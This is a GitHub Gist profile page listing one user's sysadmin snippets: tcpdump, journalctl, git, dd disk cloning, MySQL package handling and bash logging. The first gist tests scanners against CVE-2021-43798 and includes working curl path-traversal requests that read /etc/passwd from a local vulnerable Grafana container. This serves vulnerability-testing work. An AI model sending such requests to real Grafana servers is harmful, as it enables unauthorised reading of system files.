Skip to content

Instantly share code, notes, and snippets.

View stefanlasiewski's full-sized avatar

Stefan Lasiewski stefanlasiewski

  • LBNL (Lawrence Berkeley National Laboratory)
  • Berkeley, CA
View GitHub Profile
@stefanlasiewski
stefanlasiewski / CVE-2021-43798-scans.md
Last active December 14, 2021 00:41
CVE-2021-43798 vs Trivy, Grype and Snyk

This container is vulnerable:

stefanl@stefanl:~ $ docker run --rm -d --name=grafana -p 3000:3000 grafana/grafana:8.2.1
497f2c35813fa2f035252f241e40ef88ad24f458f5989f2e876940b0c00da698
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../VERSION
stefanl@stefanl:~ $ curl --path-as-is http://localhost:3000/public/plugins/mysql/../../../../../../../../etc/passwd | head -3
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  1230  100  1230    0     0   400k      0 --:--:-- --:--:-- --:--:--  400k
@stefanlasiewski
stefanlasiewski / tcpdump.all.sh
Last active August 7, 2021 00:45
tcpdump on all interfaces at one
#!/bin/bash
#===================================================================================
#
# FILE: dump.sh
# USAGE: dump.sh [-i interface] [tcpdump-parameters]
# DESCRIPTION: tcpdump on any interface and add the prefix [Interace:xy] in front of the dump data.
# OPTIONS: same as tcpdump
# REQUIREMENTS: tcpdump, sed, ifconfig, kill, awk, grep, posix regex matching
# BUGS: ---
# FIXED: - In 1.0 The parameter -w would not work without -i parameter as multiple tcpdumps are started.
@stefanlasiewski
stefanlasiewski / journalctl-and-less.txt
Created May 22, 2020 01:34
Use journalctl (systemd) with less, cat or tail
By default, `journalctl` will print the logs through a pager which can hide results from you. This can be annoying when trying to capture a screenshot:
root@docker01:~# journalctl -xe -u docker
May 21 23:25:40 docker01 dockerd[123]: time="2020-05-21T23:25:40.376573968Z" level=info msg="ign
May 22 00:45:37 docker01 dockerd[123]: time="2020-05-22T00:45:37.971043364Z" level=info msg="ign
lines 1006-1046/1046 (END)
Instead, pipe `journalctl` through `less`, `cat` or `tail` to quickly get familiar features such as wrapped lines:
root@docker01:~# journalctl -xe -u docker
@stefanlasiewski
stefanlasiewski / git-branch-and-cat.txt
Created May 22, 2020 01:29
Print all git branches without needing to quit or needing to remember yet another flag
By default, `git branch` by default uses a pager, which requires that you quit out of the pager, which erases the results fmor your screen
stefanl@stefanl:zfs git branch --all
* master
remotes/origin/HEAD -> origin/master
remotes/origin/master
remotes/origin/top
remotes/origin/zfs-0.6.3-stable
(END)^C
@stefanlasiewski
stefanlasiewski / gist:d64bbc4a7a81079b4958b7f87472ea2e
Last active January 26, 2020 16:23
Using DD & PV for disk cloning with progress
# Coreutils 8.24+ ships with dd with the status=progress option
root@host:~# dd if=/dev/sdb conv=sync,noerror status=progress | lz4 > disk.img.lz4
1430323712 bytes (1.4 GB, 1.3 GiB) copied, 41 s, 34.9 MB/s
# pv (Pipeview) can also show a nice progress bar
root@host:~# dd if=/dev/sdb conv=sync,noerror | pv -tpreb | lz4 > ~stefanl/touch.img.lz4
472MiB 0:00:14 [36.0MiB/s] [ <=> ]
[root@devdb ~]# yum list --quiet mysql-community-server mysql-community-client mysql-community-libs mysql-community-common mysql-community-libs-compat
Available Packages
mysql-community-client.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-common.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-libs.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-libs-compat.x86_64 5.7.22-1.el6 mysql57-community
mysql-community-server.x86_64 5.7.22-1.el6 mysql57-community
[root@devdb ~]# yum --quiet downgrade mysql-community-libs-5.7.22-1.el6.x86_64 mysql-community-common-5.7.22-1.
el6.x86_64 mysql-community-client-5.7.22-1.el6.x86_64 mysql-community-libs-compat-5.7.22-1.el6.x86_64 mys
ql-community-server-5.7.22-1.el6.x86_64
@stefanlasiewski
stefanlasiewski / gist:1d71ee0ece9c65bd1365968c954422c0
Created May 22, 2018 23:53
Removing MySQL Server wants to remove postfix, cronie, redhat-lsb-core & more
[root@devdb ~]# yum remove mysql-commercial\*
Loaded plugins: fastestmirror, priorities, ps, security, versionlock
Setting up Remove Process
Resolving Dependencies
--> Running transaction check
---> Package mysql-commercial-client.x86_64 0:5.7.22-1.1.el6 will be erased
---> Package mysql-commercial-common.x86_64 0:5.7.22-1.1.el6 will be erased
---> Package mysql-commercial-libs.x86_64 0:5.7.22-1.1.el6 will be erased
--> Processing Dependency: mysql-libs for package: 2:postfix-2.6.6-6.el6_5.x86_64
---> Package mysql-commercial-libs-compat.x86_64 0:5.7.22-1.1.el6 will be erased
#!/usr/bin/env bash
#set -xv
# Update MacPorts base to latest released version using 'selfupdate'
# Then upgrade all outdated ports (upgrade outdated), and uninstall old version of each port (-u),
# following these guides:
# http://guide.macports.org/#using.common-tasks.updating
# http://guide.macports.org/#using.port.upgrade
@stefanlasiewski
stefanlasiewski / gist:456bdb5476ecce9cdfee67127c42d92b
Created September 27, 2017 19:24
DNS for SFDPH.ORG doesn't resolve. www.SFDPH.ORG does
# Tested from a Mac command-line
$ dig +noall +answer SFDPH.ORG
$ dig +noall +answer www.SFDPH.ORG
www.sfdph.org. 1638 IN CNAME evqf8.x.incapdns.net.
evqf8.x.incapdns.net. 29 IN A 199.83.131.153
$
@stefanlasiewski
stefanlasiewski / logging-test.bash
Last active March 6, 2018 22:27
Easy logging for any bash script
#!/usr/bin/env bash
# A handy way to redirect script output to syslog
# Way more granular then adding a bunch of `/usr/bin/logger` stanzas
# Thanks to http://urbanautomaton.com/blog/2014/09/09/redirecting-bash-script-output-to-syslog/ &
# Eric at https://twitter.com/lindvall/status/509054237267853312
echo "writing to stdout, before the I/O redirection"